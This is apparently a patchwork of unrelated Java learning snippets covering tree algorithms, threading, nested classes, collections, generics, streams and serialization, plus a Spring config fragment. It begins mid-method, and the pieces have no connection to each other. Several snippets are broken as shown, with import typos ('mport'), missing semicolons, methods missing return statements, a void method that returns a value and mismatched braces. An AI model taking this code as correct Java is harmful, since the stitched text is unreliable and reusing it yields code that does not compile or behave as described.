        path.remove(path.size()-1);
    }

    public static boolean isValidBST(node root){
        INORDER(root);
        for(int i=0;i<arr.size()-1;i++){
            if(arr.get(i)> arr.get(i+1)) return false;
        }
        return true;
    }
    public static void INORDER(node root){
        if(root==null) return;
        INORDER(root.left);
        arr.add(root.data);
        INORDER(root.right);
    }

    public static node createBST(int[] arr,int st, int end){  //always taking mid-value of array and making it root
        if(st>end) return null;
        int mid=(st+end)/2;
        node root=new node(arr[mid]);
        root.left=createBST(arr,st,mid-1);
        root.right=createBST(arr,mid+1,end);
        return root;
    }

    public class info {
        boolean isBST;
        int size;
        int min;
        int max;

        public info(boolean isBST, int size, int min, int max){
            this.isBST=isBST;
            this.size=size;
            this.min=min;
            this.max=max;
        }
    }
    public static int maxBST=0;
    public info largestBST(node root){
        if(root==null) return new info(true,0,Integer.MAX_VALUE,Integer.MIN_VALUE);
        info leftInfo=largestBST(root.left);
        info rightInfo=largestBST(root.right);
        int size=leftInfo.size+rightInfo.size+1;
        int min=Math.min(root.data,Math.min(leftInfo.min, rightInfo.min));
        int max=Math.max(root.data,Math.max(leftInfo.max, rightInfo.max));
        if(root.data<= leftInfo.max||root.data>= rightInfo.min) {
            return new info(false,size,min,max);
        }
        if(leftInfo.isBST && rightInfo.isBST){
            maxBST=Math.max(maxBST,size);
            return new info(true,size,min,max);
        }
        return new info(false,size,min,max);
    }

    public static void main(String[] args) {
//        int[] arr = {8,5,3,1,4,6,10,11,14};
        int[] arr={3,5,6,8,10,11,12};
        node root=createBST(arr,0, arr.length-1);
        inorder(root);
    }
}

String propertiesJSON = obj.get("properties").toString();
                            Type listType = new TypeToken<ArrayList<Property>>() {
                            }.getType();
                            List<Property> propertyList = GsonProvider.getGson().fromJson(propertiesJSON, listType);
                            JsonObject properties = new JsonObject();
                            for (Property property : propertyList) {
                                properties.addProperty(property.key, property.value);
                            }

apiKey = System.getenv("SENDGRID_API_KEY");

#热部署生效
spring.devtools.restart.enabled: true
#设置重启的目录
#spring.devtools.restart.additional-paths: src/main/java
#classpath目录下的WEB-INF文件夹内容修改不重启
spring.devtools.restart.exclude: WEB-INF/**

import java.util.*;
import java.util.LinkedList;

public class Trees {
    public static class node{
        int data;
        node left,right;

        public node(int data){
            this.data=data;
            this.left=null;
            this.right=null;
        }
    }
    public static int height(node root){
        if(root==null) return 0;
        int lh=height(root.left);
        int rh=height(root.right);
        return Math.max(lh,rh)+1;
    }

    public static int count(node root){
        if(root==null) return 0;
        return count(root.right) + count(root.left) +1;
    }

    public static int sum(node root){
        if(root == null) return 0;
        return sum(root.left)+sum(root.right) + root.data;
    }

    public static int diameter(node root){
        if(root==null) return 0;
        int lh=height(root.left);
        int rh=height(root.right);
        int ld=diameter(root.left);
        int rd=diameter(root.right);
        int selfD=lh+rh+1;
        return Math.max(selfD,Math.max(ld,rd));
    }

    static class info{
        int diam;
        int ht;

        info(int diam,int ht){
            this.diam=diam;
            this.ht=ht;
        }
    }
    public static info Diameter(node root){
        if(root ==null) return new info(0,0);
        info leftInfo=Diameter(root.left);
        info rightInfo=Diameter(root.right);
        int ht=Math.max(leftInfo.ht, rightInfo.ht)+1;
        int diam=Math.max(Math.max(leftInfo.diam,rightInfo.diam), leftInfo.ht+rightInfo.ht+1);
        return new info(diam,ht);
    }

    public static boolean isSubtree(node root, node subRoot){
        if(root==null) return false;
        if(root.data==subRoot.data){
            if(isIdentical(root,subRoot))
                return true;
        }
        return isSubtree(root.left,subRoot)||isSubtree(root.right,subRoot);
    }

    public static boolean isIdentical(node root, node subRoot){
        if(root==null && subRoot==null) return true;
        else if (root==null||subRoot==null || root.data!=subRoot.data) return false;
        if(!isIdentical(root.left,subRoot.left)) return false;
        if(!isIdentical(root.right,subRoot.right)) return false;
        return true;
    }

    static class information{
        node node;
        int hd;
        public information(node node,int hd){
            this.node=node;
            this.hd=hd;
        }
    }
    public static void topView(node root){
        Queue<information> q=new LinkedList<>();
        HashMap<Integer,node> map = new HashMap<>();

        int min=0,max=0;
        q.add(new information(root,0));
        q.add(null);
        while(!q.isEmpty()){
            information curr=q.remove();
            if (curr == null) {
                if (q.isEmpty()) break;
                else q.add(null);
            }
            else{
                if(!map.containsKey(curr.hd)) map.put(curr.hd, curr.node);
                if(curr.node.left!=null) {
                    q.add(new information(curr.node.left, curr.hd - 1));
                    min = Math.min(min, curr.hd - 1);
                }
                if(curr.node.right!=null) {
                    q.add(new information(curr.node.right, curr.hd + 1));
                    max = Math.max(curr.hd + 1, max);
                }
            }
        }
        for(int i=min;i<=max;i++){
            System.out.print(map.get(i).data + " ");
        }
    }

    public static ArrayList<ArrayList<Integer>> levelOrder(node root){
    Queue<node> q=new LinkedList<>();
    ArrayList<Integer> arr=new ArrayList<>();
    ArrayList<ArrayList<Integer>> ans=new ArrayList<>();
    q.add(root);
    q.add(null);
    while(!q.isEmpty()){
        while(q.peek()!=null) {
            if (q.peek().left != null) q.add(q.peek().left);
            if (q.peek().right != null) q.add(q.peek().right);
            arr.add(q.peek().data);
            q.remove();
        }
            q.add(null);
            q.remove();
            ans.add(arr);
            arr=new ArrayList<>();
            if(q.size()==1 && q.peek()==null) break;
    }
    Collections.reverse(ans);
    return  ans;
    }

    public static void kLevel(node root, int level, int k){
        if(level==k){
            System.out.print(root.data + " ");
            return;
        }
        else{
            kLevel(root.left,level+1,k);
            kLevel(root.right,level+1,k);
        }
    }

    public static int lowestCommonAncestor(node root, int n1, int n2){
        // Store the paths of both nodes in arraylist and iterate
        ArrayList<node> path1=new ArrayList<>();
        ArrayList<node> path2=new ArrayList<>();
        getPath(root,n1,path1);
        getPath(root,n2,path2);
        int i=0;
        for(;i< path1.size()&&i< path2.size();i++){
            if(path1.get(i) != path2.get(i)) break;
        }
        return path1.get(i-1).data;
    }
    public static boolean getPath(node root, int n, ArrayList<node> path){
        if(root==null) return false;
        path.add(root);
        if(root.data==n) return true;
        boolean foundLeft=getPath(root.left,n,path);
        boolean foundRight=getPath(root.right,n,path);
        if(foundLeft||foundRight) return true;
        path.remove(path.size()-1);
        return false;
    }

    public static node lca(node root, int n1, int n2){
        //both the nodes belong to the same subtree of lca root.
        if( root==null || root.data==n1 || root.data==n2) return root;
        node leftLca=lca(root.left,n1,n2);
        node rightLca=lca(root.right,n1,n2);
        if(leftLca==null) return rightLca;
        if(rightLca==null) return leftLca;
        return root;
    }



    public static int minDistance(node root, int n1, int n2){
        node lca= lca(root,n1,n2);//calculate the separate distances from both the nodes to the lca.
        return distance(lca,n1) + distance(lca,n2);
    }
    public static int distance(node root, int n){
        //calculating the distance from root(lca) to the given node n.
        if(root==null) return -1;
        if(root.data==n) return 0;
        int leftDistance=distance(root.left,n);
        int rightDistance=distance(root.right,n);
        if(leftDistance==-1) return rightDistance+1;
        else return leftDistance+1;
    }

    public static int kthAncestor(node root, int n, int k){
        if(root==null) return -1;
        if(root.data==n) return 0;
        int leftDist=kthAncestor(root.left,n,k);
        int rightDist=kthAncestor(root.right,n,k);
        if(leftDist==-1 && rightDist==-1) return -1;
        int max=Math.max(leftDist,rightDist);
        if(max+1==k) System.out.println(root.data);
        return max+1;
    }


    public static int  sumTree(node root){
        if(root==null) return 0;
        int leftChild=sumTree(root.left);
        int rightChild=sumTree(root.right);
        int data=root.data;
        int newLeft=root.left==null?0:root.left.data;
        int newRight=root.right==null?0:root.right.data;
        root.data=leftChild + rightChild + newLeft+newRight;
        return data;
    }

    public static void preOrder(node root){
        if(root==null) return;
        System.out.print(root.data + " ");
        preOrder(root.left);
        preOrder(root.right);

    }

    public node removeLeafNodes(node root, int target) {
        if(root==null) return null;
        root.left=removeLeafNodes(root.left,target);
        root.right=removeLeafNodes(root.right,target);
        if(root.left==null && root.right==null){
            if(root.data==target) return null;
        }
        return root;
    }

    public node invertTree(node root) {
        if(root==null) return null;
        else if (root.left==null && root.right==null) return root;
        node m=invertTree(root.left);
        node n=invertTree(root.right);
        root.left=n;
        root.right=m;
        return root;
    }
    public static void main(String[] args){
        node root =new node(1);
        root.left=new node(2);
        root.right=new node(3);
        root.left.left=new node(4);
        root.left.right=new node(5);
        root.right.left=new node(6);
        root.right.right=new node(7);
        sumTree(root);
        preOrder(root);
    }
}

//One Thread method that a supervisor thread may use to monitor another thread is .isAlive(). This method returns true if the thread is still running, and false if it has terminated. A supervisor might continuously poll this value (check it at a fixed interval) until it changes, and then notify the user that the thread has changed state.

import java.time.Instant;
import java.time.Duration;
 
public class Factorial {
 public int compute(int n) {
   // the existing method to compute factorials
 }
 
 // utility method to create a supervisor thread
 public static Thread createSupervisor(Thread t) {
   Thread supervisor = new Thread(() -> {
     Instant startTime = Instant.now();
     // supervisor is polling for t's status
     while (t.isAlive()) {
       System.out.println(Thread.currentThread().getName() + " - Computation still running...");
       Thread.sleep(1000);
     }
   });
 
   // setting a custom name for the supervisor thread
   supervisor.setName("supervisor");
   return supervisor;
 
 }
 
 public static void main(String[] args) {
   Factorial f = new Factorial();
 
   Thread t1 = new Thread(() -> {
     System.out.println("25 factorial is...");
     System.out.println(f.compute(25));
   });
 
 
   Thread supervisor = createSupervisor(t1);
 
   t1.start();
   supervisor.start();
 
   System.out.println("Supervisor " + supervisor.getName() + " watching worker " + t1.getName());
 }
}

mport java.util.Random;

// Checkpoint 1
// public class CrystalBall implements Runnable {
  
public class CrystalBall{

  /* Instance Variables */
  // Removed in checkpoint 3
  /* Constructors */
  // Removed in checkpoint 3
  /* Instance Methods */
  // Removed in checkpoint 3

  public void ask(Question question) {
    System.out.println("Good question! You asked: " + question.getQuestion());
    this.think(question);
    System.out.println("Answer: " + this.answer());
  }

  private void think(Question question) {
    System.out.println("Hmm... Thinking");
    try {
      Thread.sleep(this.getSleepTimeInMs(question.getDifficulty()));
    } catch (Exception e) {
      System.out.println(e);
    }
    System.out.println("Done!");
  }

  private String answer() {
    String[] answers = {
        "Signs point to yes!",
        "Certainly!",
        "No opinion",
        "Answer is a little cloudy. Try again.",
        "Surely.",
        "No.",
        "Signs point to no.",
        "It could very well be!"
    };
    return answers[new Random().nextInt(answers.length)];
  }

  private int getSleepTimeInMs(Question.Difficulty difficulty) {
    switch (difficulty) {
      case EASY:
        return 1000;
      case MEDIUM:
        return 2000;
      case HARD:
        return 3000;
      default:
        return 500;
    }
  }
}

mport java.util.Random;

// Checkpoint 1
// public class CrystalBall implements Runnable {
  
public class CrystalBall{

  /* Instance Variables */
  // Removed in checkpoint 3

  /* Constructors */
  // Removed in checkpoint 3

  /* Instance Methods */
  // Removed in checkpoint 3

  public void ask(Question question) {
    System.out.println("Good question! You asked: " + question.getQuestion());
    this.think(question);
    System.out.println("Answer: " + this.answer());
  }

  private void think(Question question) {
    System.out.println("Hmm... Thinking");
    try {
      Thread.sleep(this.getSleepTimeInMs(question.getDifficulty()));
    } catch (Exception e) {
      System.out.println(e);
    }
    System.out.println("Done!");
  }

  private String answer() {
    String[] answers = {
        "Signs point to yes!",
        "Certainly!",
        "No opinion",
        "Answer is a little cloudy. Try again.",
        "Surely.",
        "No.",
        "Signs point to no.",
        "It could very well be!"
    };
    return answers[new Random().nextInt(answers.length)];
  }

  private int getSleepTimeInMs(Question.Difficulty difficulty) {
    switch (difficulty) {
      case EASY:
        return 1000;
      case MEDIUM:
        return 2000;
      case HARD:
        return 3000;
      default:
        return 500;
    }
  }
}

public class Factorial implements Runnable {
 private int n;
 
 public Factorial(int n) {
   this.n = n;
 }
 
 public int compute(int n) {
   // ... the code to compute factorials
 }
 
 public void run() {
   System.out.print("Factorial of " + String.valueOf(this.n) + ":")
   System.out.println(this.compute(this.n));
 }
 
 public static void main(String[] args) {
   Factorial f = new Factorial(25);
   Factorial g = new Factorial(10);
   Thread t1 = new Thread(f);
   Thread t2 = new Thread(f);
   t1.start();
   t2.start();
 }
}

//Another way of using the Runnable interface, which is even more succinct, is to use lambda expressions
public class Factorial {
 public int compute(int n) {
   // ... the code to compute factorials
 }
 
 public static void main(String[] args) {
   Factorial f = new Factorial();
 
   // the lambda function replacing the run method
   new Thread(() -> {
     System.out.println(f.compute(25));
   }).start();
 
   // the lambda function replacing the run method
   new Thread(() -> {
     System.out.println(f.compute(10));
   }).start();
 }
}

/*Extended the Thread Class
Created and Overrode a .run() method from Thread
Instantiated HugeProblemSolver and called .start() which signifies to start a new thread and search in the class for the .run() method to execute.*/
//CrystalBall
import java.util.Random;

public class CrystalBall extends Thread{
  private Question question;

  public CrystalBall(Question question){
    this.question = question;
    }

  @Override
  public void run() {
    ask(this.question);
  }


  private int getSleepTimeInMs(Question.Difficulty difficulty) {
    switch (difficulty) {
      case EASY:
        return 1000;
      case MEDIUM:
        return 2000;
      case HARD:
        return 3000;
      default:
        return 500;
    }
  }

  private String answer() {
    String[] answers = {
        "Signs point to yes!",
        "Certainly!",
        "No opinion",
        "Answer is a little cloudy. Try again.",
        "Surely.",
        "No.",
        "Signs point to no.",
        "It could very well be!"
    };
    return answers[new Random().nextInt(answers.length)];
  }

  private void think(Question question) {
    System.out.println("Hmm... Thinking");
    try {
      Thread.sleep(this.getSleepTimeInMs(question.getDifficulty()));
    } catch (Exception e) {
      System.out.println(e);
    }
    System.out.println("Done!");
  }

  public void ask(Question question) {
    System.out.println("Good question! You asked: " + question.getQuestion());
    this.think(question);
    System.out.println("Answer: " + this.answer());
  }
}

//FortuneTeller
import java.util.Arrays;
import java.util.List;

public class FortuneTeller {

  public static void main(String[] args) {

    List<Question> questions = Arrays.asList(
        new Question(Question.Difficulty.EASY, "Am I a good coder?"),
        new Question(Question.Difficulty.MEDIUM, "Will I be able to finish this course?"),
        new Question(Question.Difficulty.EASY, "Will it rain tomorrow?"),
        new Question(Question.Difficulty.EASY, "Will it snow today?"),
        new Question(Question.Difficulty.HARD, "Are you really all-knowing?"),
        new Question(Question.Difficulty.HARD, "Do I have any hidden talents?"),
        new Question(Question.Difficulty.HARD, "Will I live to be greater than 100 years old?"),
        new Question(Question.Difficulty.MEDIUM, "Will I be rich one day?"),
        new Question(Question.Difficulty.MEDIUM, "Should I clean my room?")
    );

    questions.stream().forEach(q -> {
      CrystalBall c = new CrystalBall(q);
      c.start();
    });
  }
}

//Shadowing allows for the overlapping scopes of members with the same name and type to exist in both a nested class and the enclosing class simultaneously. Depending on which object we use to call the same variable in a main method will result in different outputs.

class Book {
  String type="Nonfiction";
	// Nested inner class
	class Biography {
    String type="Biography";

    public void print(){
      System.out.println(Book.this.type);
      System.out.println(type);
    }

	}
}

public class Books {
	public static void main(String[] args) {
		Book book = new Book();
		Book.Biography bio = book.new Biography();
		bio.print();
	}
}
//Nonfiction
//Biography

class Lib { 
  String objType;
  String objName;
  static String libLocation = "Midfield St.";

  public Lib(String type, String name) {
    this.objType = type;
    this.objName = name;
  }

  private String getObjName() {
    return this.objName;
  }

  // inner class
  static class Book {
    String description;

    void printLibraryLocation(){
      System.out.println("Library location: "+libLocation);
    }
  }
}

public class Main {
  public static void main(String[] args) {
    Lib.Book book =  new Lib.Book();
    book.printLibraryLocation();

  }
}

class Lib {
  String objType;
  String objName;

  // Assign values using constructor
  public Lib(String type, String name) {
    this.objType = type;
    this.objName = name;
  }

  // private method
  private String getObjName() {
    return this.objName;
  }

  // Inner class
  class Book {
    String description;

    void setDescription() {
      if(Lib.this.objType.equals("book")) {
        if(Lib.this.getObjName().equals("nonfiction")) {
          this.description = "Factual stories/accounts based on true events";
        } else {
          this.description = "Literature that is imaginary.";
        }
      } else {
        this.description = "Not a book!";
        }
    }
    String getDescription() {
      return this.description;
    }
  }
}

public class Main {
  public static void main(String[] args) {
    Lib fiction = new Lib("book", "fiction");

    Lib.Book book1 = fiction.new Book();
    book1.setDescription();
    System.out.println("Fiction Book Description = " + book1.getDescription());
 
    Lib nonFiction = new Lib("book", "nonfiction");
    Lib.Book book2 = nonFiction.new Book();
    book2.setDescription();
    System.out.println("Non-fiction Book Description = " + book2.getDescription());
  }
}

class Outer {
  String outer;
  // Assign values using constructor
  public Outer(String name) {
    this.outer = name;
  }
 
  // private method
  private String getName() {
    return this.outer;
  }
}
 
  // Non-static nested class
  class Inner {
    String inner;
    String outer;
    
    public String getOuter() {
  // Instantiate outer class to use its method
  outer = Outer.this.getName();
}

// Given `intList` with the following elements: 5, 4, 1, 3, 7, 8
List<Integer> evenList = new ArrayList<>();
for(Integer i: intList) {
  if(i % 2 == 0) {
    evenList.add(i*2);
  }
}
// evenList will have elements 8, 16
/*A Stream is a sequence of elements created from a Collection source. A Stream can be used as input to a pipeline, which defines a set of aggregate operations (methods that apply transformations to a Stream of data). The output of an aggregate operation serves as the input of the next operation (these are known as intermediate operations) until we reach a terminal operation, which is the final operation in a pipeline that produces some non Stream output.*/
List<Integer> evenList = intList.stream()
  .filter((number) -> {return number % 2 == 0;})
  .map( evenNum -> evenNum*2)
  .collect(Collectors.toList());

import java.util.List;
import java.util.ArrayList;
import java.util.Map;
import java.util.TreeMap;
import java.util.Random;
public class Main {
  public static void main(String[] args) {
    List<Integer> myInts = new ArrayList<>();
    Random random = new Random();

    for(int i =0; i < 20; i++) {
      myInts.add(random.nextInt(5));
    }

    Map<Integer, Integer> intCount = countNumbers(myInts);
    for(Map.Entry<Integer, Integer> entry: intCount.entrySet()) {
      System.out.println("Integer: "+ entry.getKey()+" appears: "+ entry.getValue());
    }
  }

  public static Map<Integer, Integer> countNumbers(List<Integer> list) {
    Map<Integer, Integer> intCount = new TreeMap<>();
    for(Integer i: list){
      Integer currentCount = intCount.get(i);
      if(currentCount!=null){
        int newCount = currentCount+1;
        intCount.put(i, newCount);}
      else{intCount.put(i, 1);}
    }
    return intCount;
  }

}

/*
Output:
Integer: 0 appears: 3
Integer: 1 appears: 2
Integer: 2 appears: 8
Integer: 3 appears: 1
Integer: 4 appears: 6

//Map defines a generic interface for an object that holds key-value pairs as elements. The key is used to retrieve (like the index in an array or List) some value. A key must be unique and map to exactly one value.
//The HashMap defines no specific ordering for the keys and is the most optimized implementation for retrieving values.
//The LinkedHashMap keeps the keys in insertion order and is slightly less optimal than the HashMap.
//The TreeMap keeps keys in their natural order (or some custom order defined using a Comparator). This implementation has a significant performance decrease compared to HashMap and LinkedHashMap but is great when needing to keep keys sorted.
//A Map has the following methods for accessing its elements:
//put(): Sets the value that key maps to. Note that this method replaces the value key mapped to if the key was already present in the Map.
//get(): Gets, but does not remove, the value the provided key argument points to if it exists. This method returns null if the key is not in the Map.

Map<String, String> myMap = new HashMap<>();
 
myMap.put("Hello", "World") // { "Hello" -> "World" }
myMap.put("Name", "John") //   { "Hello" -> "World" }, { "Name" -> "John" }
 
String result = myMap.get("Hello") // returns "World" 
String noResult = myMap.get("Jack") // return `null`

// Given a map, `myMap`, with the following key-value pairs { "Hello" -> "World" }, { "Name" -> "John"}
for (Map.Entry<String, String> pair: myMap.entrySet()){
  System.out.println("key: "+pair.getKey()+", value: "+pair.getValue());
}
// OUTPUT TERMINAL:
// key: Name, value: John
// key: Hello, value: World

//There are many methods provided in the Collections class and we’ll cover a subset of those below:
//binarySearch(): Performs binary search over a List to find the specified object and returns the index if found. This method is overloaded to also accept a Comparator in order to define a custom sorting algorithm.
//max(): Finds and returns the maximum element in the Collection. This method is overloaded to also accept a Comparator in order to define a custom sorting algorithm.
//min(): Finds and returns the minimum element in the Collection. This method is overloaded to also accept a Comparator in order to define a custom sorting algorithm.
//reverse(): Reverses the order of elements in the List passed in as an argument.
//sort(): Sorts the List passed in as an argument. This method is overloaded to also accept a Comparator in order to define a custom sorting algorithm.
import java.util.List;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Collection;
import java.util.Set;
import java.util.HashSet;
import java.util.Iterator;
public class Main {
  public static void main(String[] args) {
    List<Integer> myList = new ArrayList<>();
    myList.add(3);
    myList.add(-1);
    myList.add(57);
    myList.add(29);

    Set<String> mySet = new HashSet<>();
    mySet.add("Hello");
    mySet.add("World");

    System.out.println("mySet max: \""+ Collections.max(mySet)+"\"");
    System.out.println();

    System.out.println("myList min: "+ Collections.min(myList));
    System.out.println();

    System.out.println("Index of 57 in myList is: "+Collections.binarySearch(myList, 57));
    System.out.println();


    System.out.println("myList prior to reverse: ");
    printCollection(myList);

    System.out.println();

    Collections.reverse(myList);
    System.out.println("myList reversed: ");
    printCollection(myList);

    System.out.println();

    System.out.println("myList prior to sort: ");
    printCollection(myList);

    System.out.println();

    Collections.sort(myList);
    System.out.println("myList after sort: ");
    printCollection(myList);


  }

  public static void printCollection(Collection<?> collection){
    Iterator<?> myItr = collection.iterator();

    while(myItr.hasNext()){
      System.out.println(myItr.next());
    }
  }
}

//the Collection interface provides a generic, general-purpose API when our program needs a collection of elements and doesn’t care about what type of collection it is.
//Implementing classes may implement collections methods and add restrictions to them, like a Set does to only contain unique elements. Also, implementing classes or extending interfaces do not need to implement all methods and instead will throw an UnsupportOperationException when a Collection method is not implemented.
//We’ve seen add() and remove() be used but some other methods Collection defines are:
//addAll() - receives a Collection argument and adds all the elements.
//isEmpty() - return true if the collection is empty, false otherwise.
//iterator() - returns an Iterator over the collection.
//size() - returns the number of elements in the collection.
//stream() - returns a Stream over the elements in the collection.
//toArray() - returns an array with all elements in the collection.

Collection<Integer> collection = new ArrayList<>();
collection.add(4);
collection.add(8);
 
boolean isEmpty = collection.isEmpty(); // false
int collectionSize = collection.size(); // 2
 
Integer[] collectionArray = collection.toArray(new Integer[0]);

private static <T> void printCollection(Collection<T> collection) {
    for(T item: collection){
      System.out.println(item);}
  }

//A Deque is a collection that allows us to manipulate elements from both the front and end of the collection.
//The Deque interface has two types of methods for manipulating the front and back of the collection.
//The following methods throw an exception when:
//addFirst(), addLast() - there is no space to add an element.
//removeFirst(), removeLast() - there is no element to remove.
//getFirst(), getLast() - there is no element to get.
//The following methods return a special value:
//offerFirst(), offerLast() - false when there is no space to add an element.
//pollFirst(), pollLast() - null when there is no element to remove.
//peekFirst(), peekLast() - null when there is no element to get.

Deque<String> stringDeque = new LinkedList<>();
stringDeque.addFirst("A"); // Front -> "A" <- end
stringDeque.offerFirst("B"); // Return `true` - front -> "B", "A" <- end
stringDeque.offerLast("Z"); // Returns `true` - front -> "B", "A", "Z" <- end
 
String a = stringDeque.removeFirst()  // Returns "B" - front -> "A", "Z"
String b = stringDeque.pollLast()  // Returns "Z" - front -> "A" <- back
String c = stringDeque.removeLast()  // Returns "A" - empty deque
 
String d = stringDeque.peekFirst()  // Returns null
String e = stringDeque.getLast() // Throws NoSuchElementException

// Assuming `stringDeque` has elements front -> "Mike", "Jack", "John" <- back
Iterator<String> descItr = stringDeque.descendingIterator();
 
while(descItr.hasNext()) {
  System.out.println(descItr.next());
}
// OUTPUT TERMINAL:  "John", "Jack", "Mike"

 public static boolean isPossible(int[] nums, int mid, int k){
        int subArr=1;
        int sum=0;
        for(int i=0;i<nums.length;i++){
            sum+=nums[i];
            if(sum>mid){
                subArr++;
                sum=nums[i];
            }
        }
        return subArr <=k;
    }
    public int splitArray(int[] nums, int k) {
        if(nums[0]==1 && nums[1]==1 && nums.length==2) return 2;
        int max=0;
        int sum=0;
        for(int val: nums){
            sum+=val;
            max= Math.max(val,max);
        }
        if(k==max) return max;
        int low=max;
        int high=sum;
        int ans=0;
        while(low<=high){
            int mid=low+(high-low)/2;
            if(isPossible(nums,mid,k)){
                ans=mid;
                high=mid-1;
            }
            else low=mid+1;
        }
        return ans;
    }

//collection that stores elements that can be accessed at some later point to process (like waiting in line at the bank teller). A Queue accesses elements in a (usually) First In First Out (FIFO) manner where elements are inserted at the tail (back) of the collection and removed from the head (front).
//A Queue has two types of access methods for inserting, removing, and getting but not removing the head of the Queue.
//The following methods throw an exception when:
//add() - there is no space for the element
//remove() - there are no elements to remove
//element() - there are no elements to get
//The following methods return a special value:
//offer() - false there is no space for the element
//poll() - null there are no elements to remove
//peek() - null there are no elements to get
//The methods that return a special value should be used when working with a statically sized Queue and the exception throwing methods when using a dynamic Queue.

Queue<String> stringQueue = new LinkedList<>();
stringQueue.add("Mike"); // true - state of queue -> "Mike"
stringQueue.offer("Jeff"); // true - state of queue -> "Mike", "Jeff" 
 
String a = stringQueue.remove() // Returns "Mike" - state of queue -> 1
String b = stringQueue.poll() // Returns "Jeff" - state of queue -> empty
String c = stringQueue.peek() // Returns null
String d = stringQueue.element() // Throws NoSuchElementException

// Assuming `stringQueue` has elements -> "Mike", "Jack", "John"
for (String name: stringQueue) {
  System.out.println(name);
}
// OUTPUT TERMINAL: "Mike", "Jack", "John"

//A Set is a collection of unique elements and all of its methods ensure this stays true. 
//The HashSet implementation has the best performance when retrieving or inserting elements but cannot guarantee any ordering among them.
//The TreeSet implementation does not perform as well on insertion and deletion of elements but does keep the elements stored in order based on their values (this can be customized).
//The LinkedHashSet implementation has a slightly slower performance on insertion and deletion of elements than a HashSet but keeps elements in insertion order.

Set<Integer> intSet = new HashSet<>();  // Empty set
intSet.add(6);  // true - 6  
intSet.add(0);  //  true - 0, 6 (no guaranteed ordering)
intSet.add(6);  //  false - 0, 6 (no change, no guaranteed ordering)
 
boolean isNineInSet = intSet.contains(9);  // false
boolean isZeroInSet = intSet.contains(0);  // true

// Assuming `intSet` has elements -> 1, 5, 9, 0, 23
for (Integer number: intSet) {
  System.out.println(number);
}
// OUTPUT TERMINAL: 5 0 23 9 1

//. A List is a collection where its elements are ordered in a sequence. Lists allow us to have duplicate elements and fine-grain control over where elements are inserted in the sequence. Lists are dynamically sized.
import java.util.List;
import java.util.ArrayList;
public class Main {
  public static void main(String[] args) {
    List<String> stringList = new ArrayList<>();
    stringList.add("Hello");
    stringList.add("World");
    stringList.add("!");
    for(String element: stringList){
      System.out.println(element);}
  }
}

public class Util {
  public static void printBag(Bag<?> bag ) {
    System.out.println(bag.toString()); 
  }
}
Bag<String> myBag1 = new Bag("Hello");
Bag<Integer> myBag2 = new Bag(23);
Util.printBag(myBag1);  // Hello
Util.printBag(myBag2);  // 23

public static <T> void printBag(Bag<T> bag ) {
  System.out.println(bag.toString()); 
}

public static <T> Bag<T> getBag(Bag<T> bag ) {
  return bag;
}

public static void printBag(Bag<? extends Number> bag ) {
  System.out.println(bag.toString()); 
}

//Wildcard Lower Bounds
//A lower bound wildcard restricts the wildcard to a class or interface and any of its parent types.
//There are some general guidelines provided by Java as to when to use what type of wildcard:

//An upper bound wildcard should be used when the variable is being used to serve some type of data to our code.
//A lower bound wildcard should be used when the variable is receiving data and holding it to be used later.
//When a variable that serves data is used and only uses Object methods, an unbounded wildcard is preferred.
//When a variable needs to serve data and store data for use later on, a wildcard should not be used (use a type parameter instead).
//An upper bound restricts the type parameter to a class or any of its sub-classes and is done this way: SomeClass<? extends SomeType>. A lower bound restricts the type parameter to a class or any of its parent classes and is done this way: SomeClass<? super SomeType>.
public class Util {
  public static void getBag(Bag<? super Integer> bag ) {
    return bag;
  }
}

public class Box <T extends Number> {
  private T data; 
}
 
Box<Integer> intBox = new Box<>(2);  // Valid type argument
Box<Double> doubleBox = new Box<>(2.5);  // Valid type argument
Box<String> stringBox = new Box<>("hello");  // Error

public static <T extends Number> boolean isZero(T data) {
  return data.equals(0);
}

//multiple bounds
public class Box <T extends Number & Comparable<T>> {
  private T data; 
}

public class Box<T, S> {
  private T item1;
  private S item2;
  // Constructors, getters, and setters
}
Box<String, Integer> wordAndIntegerBox = new Box<>("Hello", 5);

public class Util {
  public static <T, S> boolean areNumbers(T item1, S item2) {
    return item1 instanceof Number && item2 instanceof Number; 
  }
}
 
boolean areNums = Util.areNumbers("Hello", 34);  // false

public class Box <T> {
  private T data;
 
  public Box(T data) {
    this.data = data; 
  }
 
  public T getData() {
    return this.data;
  }  
}
 
Box box = new Box<>("My String");  // Raw type box
String s2 = (String) box.getData();  // No incompatible type error
String s1 = box.getData();  // Incompatible type error

import java.io.Serializable;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;

public class Car implements Serializable {
  private String make;
  private int year;
  private static final long serialVersionUID = 1L;
  private Engine engine;

  public Car(String make, int year) {
    this.make = make;
    this.year = year;
    this.engine = new Engine(2.4, 6);
  }

 private void writeObject(ObjectOutputStream stream) throws IOException {
    stream.writeObject(this.make);
    stream.writeInt(this.year);
    stream.writeDouble(this.engine.getLiters());
    stream.writeInt(this.engine.getCylinders());   
  }
 
  private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {
    this.make = (String) stream.readObject();
    this.year = (int) stream.readInt();
    double liters = (double) stream.readDouble();
    int cylinders = (int) stream.readInt();
    this.engine = new Engine(liters, cylinders); 
  }    


  public String toString(){
    return String.format("Car make is: %s, Car year is: %d, %s", this.make, this.year, this.engine);
  }

  public static void main(String[] args) throws FileNotFoundException, IOException, ClassNotFoundException {
    Car toyota = new Car("Toyota", 2021);
    Car honda = new Car("Honda", 2020);
    FileOutputStream fileOutputStream = new FileOutputStream("cars.txt");
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
    objectOutputStream.writeObject(toyota);
    objectOutputStream.writeObject(honda);

    FileInputStream fileInputStream = new FileInputStream("cars.txt");
    ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);

    Car toyotaCopy = (Car) objectInputStream.readObject();
    Car hondaCopy = (Car) objectInputStream.readObject();

    boolean isSameObject = toyotaCopy == toyota;
    System.out.println("Toyota (Copy) - "+toyotaCopy);
    System.out.println("Toyota (Original) - "+toyota);
    System.out.println("Is same object: "+ isSameObject);
  }
}

public class Person implements Serializable {
  public static void main(String[] args) throws FileNotFoundException, IOException, ClassNotFoundException {
 
    FileInputStream fileInputStream = new FileInputStream("persons.txt");
    ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
 
    Person michaelCopy = (Person) objectInputStream.readObject();
    Person peterCopy = (Person) objectInputStream.readObject();
  }
}

public class Person implements Serializable {
